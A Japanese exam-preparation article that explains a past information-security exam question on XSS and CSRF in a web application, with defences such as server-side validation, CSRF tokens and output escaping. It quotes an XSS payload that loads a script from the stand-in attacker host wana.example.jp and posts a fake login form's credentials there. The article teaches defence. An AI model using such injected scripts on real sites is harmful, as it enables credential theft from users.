セキュアなWebアプリケーションについて

2018年4月9日(月)
棚橋 英之

はじめに

本連載も、今回で最終回となります。試験本番(平成30年4月15日(日))まで時間もあとわずかとなり、皆さんも最後の詰めを行っている時期かと思います。最後まで気を抜かず、知識や考え方の強化を図っていきましょう。

今回は、Webシステム、特にWebアプリケーションに関する問題について解説します。

Webシステムに関する問題

本連載でも、Webシステムに関する項目を何度か扱っています。第2回では、攻撃手法の観点でWebアプリケーションの脆弱性やSSLについてまとめました。また、第4回では「Webサーバーのセキュリティ」と題して、試験で問われる傾向をまとめています。これらの解説も是非、見直してみてください。

なお、第4回でも紹介していますが、IPAの「安全なウェブサイトの作り方」 では、Webサイトを安全に維持するための方法が詳しくまとめられています。試験で問われるWebアプリケーションの様々な脆弱性や対策も確認できるため、こちらも是非確認しておきましょう。

表1~3に過去8回分のWebシステムに関連する問題をまとめました。午前試験、午後試験と万遍なく出題されますので、頻出テーマは確実に押さえておきましょう。

表1:午前Ⅱ試験 Webシステムに関連する問題

実施時期 テーマ
H29 秋 問14 セッションハイジャックの対策
H29 春 問2 SSL/TLSのダウングレード攻撃
問5 セッションIDの固定化(Session Fixation)攻撃
問11 MITB(Man-in-the-Browser)攻撃の対策
問12 OSコマンドインジェクション
H28 秋 問3 POODLE攻撃
問9 Cookieのsecure属性
問17 SQLインジェクションの対策
H28 春 問21 SQLインジェクション
H27 秋 問12 クロスサイトスクリプティングの対策
問13 Cookieのsecure属性
H27 春 問17 SQLインジェクションの対策
問20 HTTPのヘッダ部
H26 秋 ※該当なし
H26 春 問10 Cookieのsecure属性
問15 OSコマンドインジェクション
問16 WAF(Web Application Firewall)
問17 SSLに対するバージョンロールバック攻撃

表2:午後Ⅰ試験 Webシステムに関連する問題

実施時期 テーマとキーワード
H29 秋 問2 XSS、SQLインジェクション、Cookie など
問3 SSL/TLS、POODLE攻撃 など
H29 春 問2 XSS、Cookie、CSRF、セッションハイジャック など
H28 秋 ※該当なし
H28 春 問1 XSS、CSRF、Same Origin Policy など
H27 秋 問1 Cookie、WAF など
問3 HTTPステータスコード など
H27 春 問1 Cookie、XSS、HTTPヘッダインジェクション、セッションフィクセーション など
H26 秋 ※該当なし
H26 春 問1 Referer、セッションID、クライアントサイドスクリプト など
問3 Man-in-the-Browser など

表3:午後Ⅱ試験 Webシステムに関連する問題

実施時期 テーマとキーワード
H29 秋 ※該当なし
H29 春 問1 HTTPS通信 など
H28 秋 問2 SQLインジェクション、CGI、クロスオリジン、同一生成元ポリシ、WAF など
H28 春 問2 User-agent、DLLインジェクション など
H27 秋 ※該当なし
H27 春 問1 Webフォームと正規表現 など
H26 秋 問1 HTTPステータスコード、Cookie など
問2 SQLインジェクション、セキュリティ診断、DOMベースのXSS、クリックジャッキングHSTS など
H26 春 問2 HTTPSのクライアント認証 など

Webアプリケーションに関する過去問題

頻出テーマのXSS(クロスサイトスクリプティング)やCSRF(クロスサイトリクエストフォージェリ)について、過去問題(平成28年度 春期 午後Ⅰ問1)を例に解説します。

・設問1

(1)
〔XSS脆弱性の説明と修正〕のNさんの最初の発言より、「URLパラメタであるkeywordに攻撃用の文字列として<script src=”https://wana.example.jp/Login.js”></script>を組み込んだhttps://kensho.m-sha.co.jp/Gamen2-2へのリンクを含む電子メールを作成し、被害者に送付します。」とあります。

このリンクをクリックすると、問題の図5のような画面が表示されます。この画面を表示するスクリプト(問題の図6)の4行目に「<form name=”loginForm” action=”https://wana.example.jp/login” method=”post”>」とあるため、ログインボタンを押すと「https://wana.example.jp/login」へ入力データが送信されます。

したがって、解答例は「wana.example.jp」です。

(2)
(1)と同様の問題文中から、リンク先は「https://kensho.m-sha.co.jp/Gamen2-2」です。FQDN(ホスト名+ドメイン名)を問われているのでドメイン名も含めて記載しましょう。

したがって、解答例は「kensho.m-sha.co.jp」です。

(3)
〔XSS脆弱性の説明と修正〕のNさんの3回目の発言より、「攻撃者のコンテンツ内のスクリプトで懸賞システムのコンテンツを参照することができません」とあります。ここでは、どのような仕組みが実装されているため、このような結果になるのかを考えます。

近年のブラウザでは、同一のオリジン(スキーム名、ホスト名、ポート番号)を持つ場合のみ、リソースにアクセスできる仕組みであるSame Origin Policy(同一生成元ポリシ―)が実装されています。

したがって、bの解答は「エ」です。

(4)
〔XSS脆弱性の説明と修正〕のNさんの3回目の発言より、「攻撃者が用意したhttps://wana.example.jp/getFrame.jsというスクリプトで、3行目のフレームの内容を参照することができる」とあります。問題の図7の3行目のフレームの内容を参照するためには、Same Origin Policyをかいくぐるために、4行目で3行目と同一のオリジンを指定する必要があります。また、画面2-2にはXSSの脆弱性があるため、Gamen2-2を活用することが推測されます。すなわち、図1のようにオリジンを同一とするとGamen2-2よりGamen3-7の内容にスクリプトで参照できます。

図1:Same Origin Policyをかいくぐる方法

したがって、cの解答例は「https://kensho.m-sha.co.jp/Gamen2_2」です。

ここで、Gamen2-2にスクリプトを埋め込むためには、入力パラメタに攻撃用の文字列を組み込みます。

〔XSS脆弱性の説明と修正〕のNさんの最初の発言より、「URLパラメタであるkeywordに攻撃用の文字列として~」とあるため、パラメタの名称は「keyword」です。

したがって、dの解答例は「keyword」です。

(5)
画面3-7は登録情報の修正画面です。どのような状況でこの画面の表示内容が窃取されるのかを考えます。

問題の図1の注記2より、「ログインしていない状態で画面3-3~画面3-9のURLを指定した場合は、画面1-1へリダイレクトされる」とあります。すなわち、画面3-7を表示するためには、被害者があらかじめログインしている状態である必要があります。

したがって、解答例は「懸賞メンバとしてログインしている状態」です。

・設問2

(1)
CSRF(クロスサイトリクエストフォージェリ)は、ユーザーがログイン機能を持つWebサイトにログインした状態で攻撃者の用意した罠サイトなどを経由し、ユーザーの意図しない不正なリクエストを強要される攻撃です(図2)。

図2:CSRFの仕組み

CSRFの主な対策には、以下の2つが挙げられます。

  1. リクエストを送る際にランダムな値を生成し、その値をWebサーバー側で検証することで正しいリクエストであるかを確認する
  2. パスワードの変更など、重要な処理を行う際に再度パスワード認証を行う

問題の図8では1.の対策が当てはまります。ランダムな値をhiddenパラメタなどで送信することで、攻撃者はそのランダムな値を入手しない限りCSRFの攻撃を成功させることができません。

したがって、eの解答例は「ランダムな値」、fの解答例は「hidden」です。

(2)
画面遷移時にユーザーから何かしらのパラメタを渡さなければCSRFの対策は不要です。問題の表1より、(あ)(う)(え)(か)(こ)(さ)(せ)が「対策を行わない」画面遷移に該当します。

また、(い)はキーワードを入力して検索結果を表示するだけであり、不正なリクエストを強要されても意図しない検索画面が表示するだけであり、CSRFとしての対策は不要と言えます。ただし、XSSやSQLインジェクションなどの対策は必要です。

一方で、(く)(し)(す)の画面遷移では、ユーザーの登録情報の書き換えにつながるため、CSRFの対策が必要と言えます。

したがって、解答は「ウ」です。

・設問3

(1)
下線②(画面2-1においてWebブラウザ側のスクリプトで入力値を検査していた)より、現状ではWebサーバー側でのチェックが行われていません。この場合、Webブラウザのスクリプトを無効にしたり、検査を行うページ(画面2-1)を経由せず直接次のページ(画面2-2)へアクセスしたりして、Webブラウザでの検査を回避できれば、XSSの攻撃が成立してしまいます。

したがって、解答例は「攻撃者は、画面2-1を経由させずに直接画面2-2へアクセスさせるから」です。

(2)
(1)の問題を解決するために、Webサーバー側で入力値をチェックする必要があります。

したがって、iの解答例は「サーバサイド」です。

(3)
問題の図10(2)(ア)より、「<>&”‘を含まない文字列であっても、HTML内の出力される箇所によっては、XSS脆弱性の原因となる場合があるので、信頼できるデータとはいえない。例えば、  j  を出力する箇所では、XSS脆弱性を防ぐために“javascript:”などの文字列を排除する必要がある」とあります。

XSSでは<script>タグを使ってスクリプトを挿入させることが典型的な例であり、XSSの一般的な対策として、上記の文字列をエスケープすることが有効です。しかし、URLでは「javascript:」で始まる形式を許すとスクリプトを動作させることができます。

例えば、Webブラウザのアドレスバーで「javascript:alert(“warning”)」と入力すると、JavaScriptが動作してアラートウインドウが表示されます。そのため、入力値からURLを出力する場合はhttp、https以外の文字列は許可しないことが望ましいと言えます。

したがって、jの解答例は「URL」です。

XSSの対策は、ユーザーからの入力データを出力する際に、不正な文字列をエスケープすることが重要です。入力データだけではなく、出力データや出力先を十分に意識しましょう。

おわりに

まもなく、試験本番です。一度解いた過去問題を解き直す、参考書や技術書を再確認するなど、ギリギリまで出来ることは色々あると思います。最後まで諦めずに試験対策を進めましょう。

皆様の試験合格を、心よりお祈り申し上げます。

NECマネジメントパートナー株式会社 人材開発サービス事業部
2009年日本電気株式会社入社。人材開発事業部門に所属し、Linuxシステム、Webプログラミング、セキュリティの教育を担当。近年では、官公庁や重要インフラ事業者へのCSIRT要員に対して、インシデント対応の演習を展開している。

連載バックナンバー

Think ITメルマガ会員登録受付中

Think ITでは、技術情報が詰まったメールマガジン「Think IT Weekly」の配信サービスを提供しています。メルマガ会員登録を済ませれば、メルマガだけでなく、さまざまな限定特典を入手できるようになります。

Think ITメルマガ会員のサービス内容を見る

他にもこの記事が読まれています